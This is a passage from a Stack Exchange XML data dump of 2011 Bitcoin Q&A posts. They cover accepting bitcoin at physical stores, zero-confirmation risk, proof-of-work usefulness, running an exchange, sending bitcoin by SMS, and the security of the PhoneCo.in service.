  <row Id="327" PostTypeId="1" AcceptedAnswerId="329" CreationDate="2011-09-01T02:53:32.350" Score="40" ViewCount="2364" Body="&lt;p&gt;From what I understand, there are some requirements for using bitcoins at a physical store:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both the store owner and the client must have Internet access&lt;/li&gt;&#xA;&lt;li&gt;The client must have a cellphone or a laptop to issue the payment&lt;/li&gt;&#xA;&lt;li&gt;The seller must have a way to confirm that the coins were sent.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The biggest problem is the confirmation. Since it is risky to accept transactions with 0 confirmations, it will take around 10 minutes before a single confirmation occurs and allows the real world transaction to be completed.  The more confirmations that occur, the less risky it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, what is the best way for a store owner to securely accept bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2016-08-02T05:58:03.063" LastActivityDate="2016-08-02T05:58:03.063" Title="How do I accept bitcoin payments at a real world store?" Tags="|transactions|security|confirmations|commerce|face-to-face-payment|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="328" PostTypeId="1" CreationDate="2011-09-01T03:16:01.907" Score="13" ViewCount="2795" Body="&lt;p&gt;Are there any arbitrators that would guarantee the bitcoin transaction such that no one has to wait ten minutes to confirm the transfer of the said bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="5406" LastEditDate="2014-05-02T17:51:09.643" LastActivityDate="2020-06-27T13:19:44.733" Title="How do I safely accept bitcoins without waiting for confirmations?" Tags="|transactions|zero-confirmation|" AnswerCount="5" CommentCount="9" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="329" PostTypeId="2" ParentId="327" CreationDate="2011-09-01T03:30:32.497" Score="15" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=32818.0&quot;&gt;Green address technique&lt;/a&gt; from Instawallet. System sends bitcoins from well known address called Green Address and if recipient trusts Instawallet or any other major organization that uses same technique, then he or she can accept payment without waiting for confirmations. This is what already implemented but it solves only the third problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25786.msg480826#msg480826&quot;&gt;Instant TX for established business relationships&lt;/a&gt; is in early development stage but it can solve all three of the problems, with an exception that only retailer needs to have internet access. For example, transaction could be printed by customer on a piece of paper, handed over and accepted instantly by retailer, and it still would be secure. The idea is very promising because such transaction could be sent over internet or by any other way directly from buyer to seller and won't use any of Bitcoin Network resources, and it would be economically fisible to make automatic payments for a service that costs several micro bitcoins. &lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-09-01T05:00:20.303" LastActivityDate="2011-09-01T05:00:20.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="330" PostTypeId="2" ParentId="175" CreationDate="2011-09-01T03:58:03.683" Score="6" Body="&lt;p&gt;I've used Instawallet and Flexcoin. Instawallet is very easy to use because you don't need a login name and password. You visit &lt;a href=&quot;https://www.instawallet.org&quot; rel=&quot;noreferrer&quot;&gt;https://www.instawallet.org&lt;/a&gt; and it simply gives you a unique and hard-to-guess web address to a bitcoin wallet which you can bookmark. I used this site together with BitPay app for Android, trading a few bitcoins in a diner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site has been around since April, 2011. The operator is visible in the bitcointalk forums and responsive enough to emails from users. He is also known to be the developer of the well-known site bitcoinmonitor.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.flexcoin.com&quot; rel=&quot;noreferrer&quot;&gt;http://www.flexcoin.com&lt;/a&gt; is also easy, but you need to create an account with username and password to use it.  You enjoy the benefits of instant transfer of bitcoins and simple addresses if you deal with other Flexcoin accounts. You pay a small fee when you send bitcoins outside of Flexcoin and earn interest or &quot;discount payments&quot; if you keep a balance in your account. This &quot;bitcoin bank&quot;, the first of its kind, is backed by a business company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ever since the MyBitcoin incident where thousands of bitcoins were lost, users naturally have become more wary of third-party wallet services. There is hardly any insurance against bitcoin losses and no guarantee of continued service. However, the visibility, responsiveness and reputation of the operators and legitimate business backing, not to mention the security measures, of the service can be good signs to watch out for if you will use online wallet services. &lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditDate="2011-09-01T22:22:13.560" LastActivityDate="2011-09-01T22:22:13.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="331" PostTypeId="1" CreationDate="2011-09-01T04:10:16.373" Score="113" ViewCount="12658" Body="&lt;p&gt;One of the arguments made against Bitcoin's design choices is that it wastes resources authenticating transactions. In particular, finding small hashes is completely useless for the world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there approaches (or other crypto-currencies) that use proof-of-work by working on some useful difficult problem? There are plenty of projects like SETI@home or Folding@home that distribute difficult but potentially useful calculations among different users, is there a way to use such useful calculations for building a proof-of-work system in a crypto-currency, or is there a fundamental reason (economic or computational) that a proof-of-work must involve useless work?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorDisplayName="user5672" LastEditDate="2014-09-16T02:55:56.770" LastActivityDate="2021-06-03T17:54:42.997" Title="Is there a way to set up proof-of-work systems so they would be even more useful?" Tags="|alternatives|hash|bitcoin-economy|proof-of-work|" AnswerCount="13" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="332" PostTypeId="2" ParentId="331" CreationDate="2011-09-01T04:45:05.593" Score="17" Body="&lt;p&gt;The problem is that no one has come up with a proof-of-work system based on useful work that also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generates easily verifiable solutions&lt;/li&gt;&#xA;&lt;li&gt;Can have the difficulty of finding a solution adjusted&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, if the system were searching for prime numbers, the solutions would take a long time to verify as being prime.  The difficulty of finding the next prime also can't be controlled, it just continues increasing.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-01T04:45:05.593" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="333" PostTypeId="2" ParentId="331" CreationDate="2011-09-01T05:00:47.047" Score="0" Body="&lt;p&gt;I thought I would give the answer I know to this question, and that is an economic one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the reasons for using proof-of-work (apart from the technical usefulness) is as a way to inherently give the currency value. If the currency value is too high, to the point that it costs less to buy the computing power to counterfeit currency than it does to buy the currency directly, then there is an economic incentive to counterfeit and stabilize the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we use a problem that is not useless, then there is a chance that it will be more useful to some that to others. As an example, solving an instance of problem X might generate income of $Y for person N, and no income for person M. (Say we are folding proteins and person N is a pharmaceutics company that can use this to build a new drug, while person M is a random person). Then, if it costs $K to counterfeit the currency by buying computing time, then for person N it would cost $(K - Y) while for person M it would cost $K. This could lead to a destabilization of the value of the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, if there is a useful problem, it must be equally useful to ALL users of the currency.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-09-01T05:00:47.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="334" PostTypeId="2" ParentId="331" CreationDate="2011-09-01T05:27:43.617" Score="42" Body="&lt;p&gt;I think the premise of the question is not correct. The work is not useless, it secures the transactions. The public hash chain ensures that Bitcoins can only be spent once. The mechanism piles computations on top of legitimate transactions so that the recipient knows that an attacker would need at least as much computing ability to &quot;undo&quot; the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently no known way to make the work more useful. The problem is that the primary purpose of securing transactions imposes a number of requirements on the work done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The work must be much, much easier to verify than to do. So it pretty much has to consist of searching for something rare, doing billions of searches to test if an input has a particular characteristic. That way the verification simply requires confirming that the input you found has that characteristic.&lt;/li&gt;&#xA;&lt;li&gt;The work must in fact secure the transactions and not be severable from them. If I see that you sent me 10 Bitcoins and then billions of computations are piled on top of that, it must not be possible to remove that transaction and then pile those same computations on top of a conflicting transaction. So you can't use the result of an arbitrary chunk of work to prove work &lt;em&gt;on&lt;/em&gt; the Bitcoin chain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's hard to imagine any additional useful work that could be accomplished while still meeting these requirements.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="4748" LastEditDate="2013-06-15T23:26:10.517" LastActivityDate="2013-06-15T23:26:10.517" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="336" PostTypeId="1" AcceptedAnswerId="340" CreationDate="2011-09-01T08:04:01.890" Score="218" ViewCount="95222" Body="&lt;p&gt;Often I'm asked to explain Bitcoin to someone and occasionally I come up with something stellar that really nails it, but most times it's a rambling incoherent mess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to see is a short and simple explanation of what Bitcoin is that is suitable for someone non-technical to understand.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="5406" LastEditDate="2014-10-26T07:55:06.447" LastActivityDate="2023-04-26T11:51:53.000" Title="What is a good way to concisely explain Bitcoin?" Tags="|architecture|standard|key-selling-points|introducing-bitcoin|" AnswerCount="21" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="337" PostTypeId="1" AcceptedAnswerId="363" CreationDate="2011-09-01T08:12:13.500" Score="16" ViewCount="1316" Body="&lt;p&gt;One of the main perceived difficulties in getting started with Bitcoin is obtaining some in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally, for an exchange to be accepted into the mainstream it needs to be a recognised and approved legal entity within the country it is operating in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this - what are the legal processes that someone would have to go through in order to get a Bitcoin exchange operational?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, it would be useful to have &lt;strong&gt;each answer target a particular country&lt;/strong&gt; with suitable edits to become a solid reference. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="196" LastEditDate="2013-02-01T20:31:01.893" LastActivityDate="2013-02-01T20:31:01.893" Title="What are the legal processes that someone would have to go through in order to get a Bitcoin exchange operational?" Tags="|exchanges|legal|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="338" PostTypeId="2" ParentId="336" CreationDate="2011-09-01T08:16:08.297" Score="3" Body="&lt;p&gt;Bitcoin transaction is a verifiable message that says that user Alice gave certain amount of bitcoins to user Bob. Bitcoin it self is just a number mentioned in bitcoin transaction and it could be a small fraction. 21 million bitcoins is the maximum number that would ever be in circulation.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-09-01T08:34:44.490" LastActivityDate="2011-09-01T08:34:44.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="339" PostTypeId="2" ParentId="327" CreationDate="2011-09-01T08:18:39.807" Score="1" Body="&lt;p&gt;Create a &quot;We accept Bitcoin!&quot; display:&#xA;&lt;a href=&quot;http://ma.eatgold.com/accept/&quot; rel=&quot;nofollow&quot;&gt;http://ma.eatgold.com/accept/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to verify that bitcoins have been received you can look on blockexplorer.com.  The format is &lt;a href=&quot;http://blockexplorer.com/address/1At6LdqJsMJ11kkujzU4NR5cbD5NhLj3Ay&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1At6LdqJsMJ11kkujzU4NR5cbD5NhLj3Ay&lt;/a&gt; . You can see a list of all transactions received on your wallet address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get a receiving address from online exchanges or wallet services. I recommend you find one you can trust because they will be holding your coins. &#xA;My recommendation is ExchB:&#xA;&lt;a href=&quot;https://www.exchangebitcoins.com/en/r/howmanycoins&quot; rel=&quot;nofollow&quot;&gt;https://www.exchangebitcoins.com/en/r/howmanycoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to download the bitcoin client from bitcoin.org. You must make sure your computer is secure from trojans or viruses or you could lose your coins. Or you could use an android based application for your mobile phone. Bitcoin Wallet is the most efficient app currently. Here is a link to it: &lt;a href=&quot;https://market.android.com/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://market.android.com/details?id=de.schildbach.wallet&amp;amp;hl=en&lt;/a&gt; . Take care your phone is secure from viruses or malicious applications that could steal your wallet. Transfer any large amounts of coins off of your phone and to a secure address elsewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check the exchange rate for converting your product prices you can pull up the current price at &lt;a href=&quot;http://coin.ly/&quot; rel=&quot;nofollow&quot;&gt;http://coin.ly/&lt;/a&gt; , or many other sites have this information as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a merchant services company such as bit-pay.com to handle all this stuff for you in an automated fashion. They offer additional features such as converting bitcoins into USD immediately so you dont have to deal with all the extra details and risks of handling bitcoins on your own.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-09-01T08:18:39.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="340" PostTypeId="2" ParentId="336" CreationDate="2011-09-01T08:22:29.677" Score="155" Body="&lt;p&gt;Bitcoin is a new kind of money. It's the first decentralized electronic currency not controlled by a single organization or government. It's an open source project, and it is used by more than 100,000 people. All over the world people are trading hundreds of thousands of dollars worth of bitcoin every day with no middle man and no credit card companies. It's a startup currency which has never happened before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is the first digital currency that is completely distributed. The network is made up of users like yourself so no bank or payment processor is required between you and whoever you're trading with. This decentralization is the basis for Bitcoin's security and freedom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email let us send letters for free, anywhere in the world. Skype lets us make phone and video calls for free, anywhere in the world. Now there's bitcoin. Bitcoin lets you send money to anyone online, anywhere in the world for less than a cent per transaction!&#xA;Bitcoin is a community run system not controlled by any bank or government. There's no wallstreet banker getting rich by standing between you and the people you want to send and receive money from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is more efficient than all competing currencies. This will drive its adoption in the same way computers were adopted, in that computers made people more efficient in competing in the marketplace. A currency has value by it being widely used. Bitcoin is a startup currency with a deflationary bootstrapping economy. Its use spreads by providing the speculator incentive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is going to be the biggest opportunity for innovation that the world has seen since the industrial revolution. An idea whose time has come.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="196" LastEditDate="2012-12-04T17:38:58.927" LastActivityDate="2012-12-04T17:38:58.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="343" PostTypeId="1" CreationDate="2011-09-01T08:35:47.393" Score="20" ViewCount="2711" Body="&lt;p&gt;I am considering working on giving Africans access to trade using Bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many ways, parts of Africa is more developed when it comes to mobile payments than the west. The success of &lt;a href=&quot;http://en.wikipedia.org/wiki/M-Pesa&quot;&gt;M-PESA&lt;/a&gt; confirms this. Their security is based upon a special SIM card (see Step 1 in this &lt;a href=&quot;http://www.safaricom.co.ke/index.php?id=258&quot;&gt;getting-started guide&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to set up a service where one could send and receive Bitcoins securely via SMS? An additional condition to this question is that the SMS could be sent from a good old crowbar mobile phone without any access to a computer to perform encryption. One should also notice that postal services in these countries should be considered insecure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Motivation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My motivation for this project is the heavy costs involved with making an overseas transaction to an individual in Kenya, because M-PESA only accepts transactions from oversees using Western Union. This is important because I know that there are huge flows of money going from Africans (and more so Asians) in Western countries to their family-members at home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional points&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that one can send SMS for free &lt;a href=&quot;http://mail.google.com/support/bin/answer.py?hl=en&amp;amp;answer=164876&quot;&gt;amongst others to Kenya&lt;/a&gt; via Google SMS. Their only condition is that the receiver responds to the SMS occasionally in order to avoid it getting used for spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currencies in some African countries are very unstable (for example in Zimbabwe), so the Bitcoin currency could maybe be considered a &quot;hard currency&quot; compared to the local ones.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="78" LastEditDate="2011-09-01T11:31:26.840" LastActivityDate="2017-07-20T04:20:07.683" Title="How can I send Bitcoins via SMS?" Tags="|transactions|security|mobile|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="344" PostTypeId="2" ParentId="343" CreationDate="2011-09-01T09:04:27.173" Score="2" Body="&lt;p&gt;You can make bitcoin transaction via SMS because it's just couple hunders of symbols, but it requires internet connection to verify transaction against double spend attack. You can setup man-in-the-middle that will hold customer's bitcoins in it's database and sell or buy bitcoins for them. Customers would be able to add or withdraw fiat currency via SMS and send bitcoins via internet website. But if you want to give users control of their accounts via SMS then you would have to develop application and distribute your own SIM card.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-09-01T10:18:34.493" LastActivityDate="2011-09-01T10:18:34.493" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="345" PostTypeId="2" ParentId="337" CreationDate="2011-09-01T09:15:44.793" Score="2" Body="&lt;p&gt;As Bitcoin is not a legal tender there is very little you have to do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You do not require to be authorized by the financial authority.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It would involve a regular tax rate no special rate as they are not defined as a special value by any government. (Even this may be difficult for them)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The exact same process would be involved as there would be for any other business operational in your country of choice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is correct at this time it may in time change. I cant speak for everywhere in the world but im rather positive this applies to the western world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing to stop you registering a business and selling bitcoins as you would any other product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im UK.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-09-01T09:15:44.793" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="346" PostTypeId="1" AcceptedAnswerId="347" CreationDate="2011-09-01T09:51:54.427" Score="20" ViewCount="1779" Body="&lt;p&gt;The idea of a currency with a limited number of units seems to me to be fundamentally different to existing currencies.  While other currencies are generally based on permanent inflation - more 'units' coming into the currency pool - which causes each unit to be worth less, Bitcoin is based on a fixed number of 'units', never changing.  Does this mean that, as usage increases and time passes, each 'unit' will necessarily be worth more and more and have to be split into smaller and smaller amounts?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="516" LastEditDate="2012-01-10T05:29:18.080" LastActivityDate="2012-03-13T18:55:18.157" Title="Are Bitcoins destined to forever increase in value?" Tags="|bitcoin-economy|currencies|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="347" PostTypeId="2" ParentId="346" CreationDate="2011-09-01T10:20:03.537" Score="6" Body="&lt;p&gt;In theory yes. If demand grows at a steady rate this will certainly be the case, as less coins will be produced making what is available more desirable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality there are other factors which could affect the value of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Alternate chain could supersede bitcoins (unlikely at this time)&lt;/li&gt;&#xA;&lt;li&gt;Vulnerabilities like what has appeared (with hacking) already in the main markets&lt;/li&gt;&#xA;&lt;li&gt;Overspeculation of market trends&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Think of it more like gold than a fiat currency in the likelihood of behaviour (nb. my opinion, may not be the case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value does keep increasing it can split into eight decimal places to make a very large number of potential units of currency.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="659" LastEditDate="2012-03-13T18:55:18.157" LastActivityDate="2012-03-13T18:55:18.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="348" PostTypeId="2" ParentId="327" CreationDate="2011-09-01T10:22:25.737" Score="4" Body="&lt;p&gt;For transactions of under $100 or so, I don't think it's unreasonably risky to accept transactions with zero confirmations. For one thing, it doesn't matter unless the customer is attempting a double-spending attack, and it's unlikely someone would want to attempt such an attack and try to physically get away within 10 minutes or so just for $100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For under $1,000, 1 confirmation is sufficient. That takes 10 minutes on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, face-to-face transactions just aren't all that risky.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-01-16T18:48:06.897" LastActivityDate="2014-01-16T18:48:06.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="349" PostTypeId="2" ParentId="346" CreationDate="2011-09-01T10:22:46.640" Score="4" Body="&lt;p&gt;This generally boils down to supply and demand.&#xA;When the supply is fixed the value would increase with the demand.&lt;/p&gt;&#xA;" OwnerUserId="121" LastActivityDate="2011-09-01T10:22:46.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="350" PostTypeId="2" ParentId="346" CreationDate="2011-09-01T10:29:15.740" Score="2" Body="&lt;p&gt;If demand continues to increase and supply is constant, then yes. But supply is not going to be constant, that's a wholly unrealistic assumption. Already, alternative currencies and online wallet services are increasing the effective supply of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an Altcoin is reasonably predictable valued at .1 Bitcoin, why should I care whether you give me 10 Bitcoins or 1 Altcoin? (The value might go up or it might go down, but so long as they're equally likely, I don't much care.) Thus each Altcoin increases the effective supply of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, I don't care if you give me 10 Bitcoins or a Mt. Gox code to claim 10 Bitcoins. Thus Mt. Gox codes act as Bitcoins as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once shorts are available, interest-bearing accounts will be possible. This will allow the two sides of a short to cancel out, require no bitcoins, and the long side will also act as a supply of Bitcoins. I may consider a promise to pay 10.2 Bitcoins next month just as good as 10 Bitcoins today. I may consider a promise to pay the value of 10.2 Bitcoins next month in US dollars just as good as 10 Bitcoins today. (Assuming both promises are backed by an exchange and tracked as exchange assets.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-01T10:29:15.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="351" PostTypeId="2" ParentId="346" CreationDate="2011-09-01T10:34:09.157" Score="2" Body="&lt;p&gt;The will go up in value as long as more people continue using them and the demand outpaces the creation of the supply. But once the market is saturated (i.e. the whole world) then the value of bitcoins would become stable, and would only move by market conditions such as a change in the world population, and lost bitcoins which are effectively disappearing from the system will contribute to a continued trickle of deflation.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2011-09-07T06:33:28.393" LastActivityDate="2011-09-07T06:33:28.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="352" PostTypeId="2" ParentId="343" CreationDate="2011-09-01T10:44:11.333" Score="8" Body="&lt;p&gt;Just an account on &lt;a href=&quot;http://phoneco.in/&quot; rel=&quot;nofollow&quot;&gt;http://phoneco.in/&lt;/a&gt;  because thats exactly what the service does.  [Update: Phoneco.in is defunct.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: A new service as well to check out. &lt;a href=&quot;http://dialcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://dialcoin.com/&lt;/a&gt; [DialCoin's site is up yet but has suspending service.]&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="153" LastEditDate="2012-06-10T19:01:56.073" LastActivityDate="2012-06-10T19:01:56.073" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="353" PostTypeId="2" ParentId="317" CreationDate="2011-09-01T11:13:54.577" Score="2" Body="&lt;p&gt;One of your CPUs is spin-waiting for the GPU to finish work units. Generally, GPU drivers have two options to wait for the hardware: either suspend the process until an interrupt is generated, or poll the GPU whether it is finished in a tight loop. It seems your driver is using the second approach and thus takes 100% CPU of one core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of polling is that there is less latency than with interrupts, for example when doing real-time work on the GPU; but in case of a background process like mining which hardly requires CPU intervention, sleeping would be a better option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be that ATI changed this in recent drivers. In CUDA this is an option when creating the compute context (SCHED_AUTO/SCHED_SPIN/SCHED_YIELD) to choose the waiting method, but alas, I know of no such option for OpenCL.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2011-09-01T11:13:54.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="354" PostTypeId="1" AcceptedAnswerId="357" CreationDate="2011-09-01T11:36:02.573" Score="7" ViewCount="273" Body="&lt;p&gt;@osmosis made me aware of &lt;a href=&quot;http://PHONECO.IN&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHONECO.IN&lt;/a&gt;, which makes it possible to send Bitcoins via SMS. My question is whether their authentication system is adequate. From their &lt;a href=&quot;http://phoneco.in/faqs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;website&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PhoneCo.in is designed to be easy to use and secure.  The server which processes your text message communicates with a separate server processing the bitcoin transaction.  The data from your text message is sent using AES-265 encryption and is signed using HMAC-SHA1.  This combination of security measures makes it very difficult to initiate a PhoneCo.in transaction in any way other than using a cell phone, as any requests to the bitcoin server must originate from the text message processing server.&lt;/p&gt;&#xA;&lt;p&gt;We require you to reply with a 5 character confirmation code within 5 minutes when sending a payment.  This is necessary to verify that your phone has initiated the payment request (and that someone isn’t spoofing your phone number when contacting our server).  Spoofing another phone number is illegal in the United States and punishable with fines up to $10,000.  If you receive a confirmation code for a payment you didn’t initiate, contact us so we can help track the offender.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-09-01T12:44:35.303" Title="Is the authentication system of the Bitcoin &lt;-&gt; SMS service PHONECO.IN adequate?" Tags="|transactions|security|mobile|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="355" PostTypeId="2" ParentId="60" CreationDate="2011-09-01T11:47:20.890" Score="3" Body="&lt;p&gt;As the public develops more confidence in the currency and as the currency is used in wider volume (people start buying more and more things with the currency and it starts to change hands a lot) it will start to stabilize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current instability seems to be driven by speculation. A lot of people are not using bitcoin as a currency right now but just as some investment to gamble on. Hopefully that view of bitcoin will change, soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why you would want to compare BTC to the USD, though... since the USD is not that stable recently, but that is nitpicking and not addressing the spirit of the question.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-09-01T11:47:20.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="356" PostTypeId="2" ParentId="354" CreationDate="2011-09-01T11:48:18.920" Score="3" Body="&lt;p&gt;It looks good to me. By entering confirmation you prove it's your number and you can additionally protect your account with a password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not let others access your phone. If you do, you should delete relevant messages to prevent them seeing your password.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-09-01T11:48:18.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="357" PostTypeId="2" ParentId="354" CreationDate="2011-09-01T12:04:16.927" Score="5" Body="&lt;p&gt;I think it is probably adequate for its intended purpose but not adequate for managing large balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest problem is the risk of compromise or theft of your phone or phone number. Anyone who obtains physical access to your phone while it's unlocked (or who is able to unlock it) can look through your text messages and can transfer your Bitcoins to themselves. The Bitcoins are effectively completely untraceable and permanently lost at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lack of a way to secure your account with PhoneCo.in without your phone is, in my opinion, a serious problem. What if I can't find my phone but might just have left it a friend's house? Am I supposed to disable my phone with my provider only to re-enable it in twenty minutes when I find it? Or am I supposed to have a 20 minute window in which someone can break into my phone and steal my Bitcoins? (Will a mobile company shut off your phone immediately even at 3AM?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your phone is lost or stolen, you have to have it disabled &lt;strong&gt;immediately&lt;/strong&gt; -- even if it's locked, even if you might find it in a few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem with the accounts only being associated with a phone number is that I have to trust my mobile provider. If I lose my mobile account for any reason, I lose my coins too. If my phone number is erroneously transferred to someone else, they get my Bitcoins or at the very least, I cannot get them. If my mobile provider suddenly decides I broke some rule and they cancel my contract 